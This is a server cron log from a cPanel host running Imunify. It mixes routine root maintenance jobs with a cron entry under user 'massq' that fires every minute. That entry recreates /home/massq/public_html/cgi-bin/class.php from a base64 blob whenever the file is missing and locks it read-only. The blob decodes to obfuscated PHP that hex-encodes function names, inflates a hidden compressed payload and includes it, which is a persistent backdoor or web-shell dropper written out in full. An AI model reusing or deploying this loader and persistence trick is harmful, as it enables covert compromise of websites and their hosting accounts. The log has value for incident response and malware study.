Aug 30 20:52:01 server CROND[614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:52:01 server CROND[616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:52:01 server CROND[615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:53:01 server CROND[1006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:53:01 server CROND[1007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:53:01 server CROND[1005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:54:01 server CROND[1467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:54:01 server CROND[1468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:54:01 server CROND[1469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:55:01 server CROND[1937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:55:01 server CROND[1938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:55:01 server CROND[1946]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 20:55:01 server CROND[1947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:55:01 server CROND[1948]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:55:01 server CROND[1951]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:55:01 server CROND[1950]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 20:56:01 server CROND[2914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:56:01 server CROND[2915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:56:01 server CROND[2916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:57:01 server CROND[3299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:57:01 server CROND[3300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:57:01 server CROND[3301]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 20:57:01 server CROND[3303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:58:01 server CROND[3671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:58:01 server CROND[3672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:58:01 server CROND[3673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:59:01 server CROND[4047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:59:01 server CROND[4048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:59:01 server CROND[4049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:00:01 server CROND[4531]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 21:00:01 server CROND[4535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:00:01 server CROND[4537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:00:01 server CROND[4538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:00:01 server CROND[4543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:00:01 server CROND[4544]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 21:00:01 server CROND[4539]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:00:01 server CROND[4542]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 21:00:01 server CROND[4541]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 21:01:01 server CROND[5374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:01:01 server CROND[5373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:01:01 server CROND[5375]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 21:01:01 server CROND[5376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:01:01 server run-parts(/etc/cron.hourly)[5375]: starting 0anacron
Aug 30 21:01:01 server run-parts(/etc/cron.hourly)[5395]: finished 0anacron
Aug 30 21:02:01 server CROND[5850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:02:01 server CROND[5851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:02:01 server CROND[5852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:03:01 server CROND[6235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:03:01 server CROND[6236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:03:01 server CROND[6237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:04:01 server CROND[6614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:04:01 server CROND[6615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
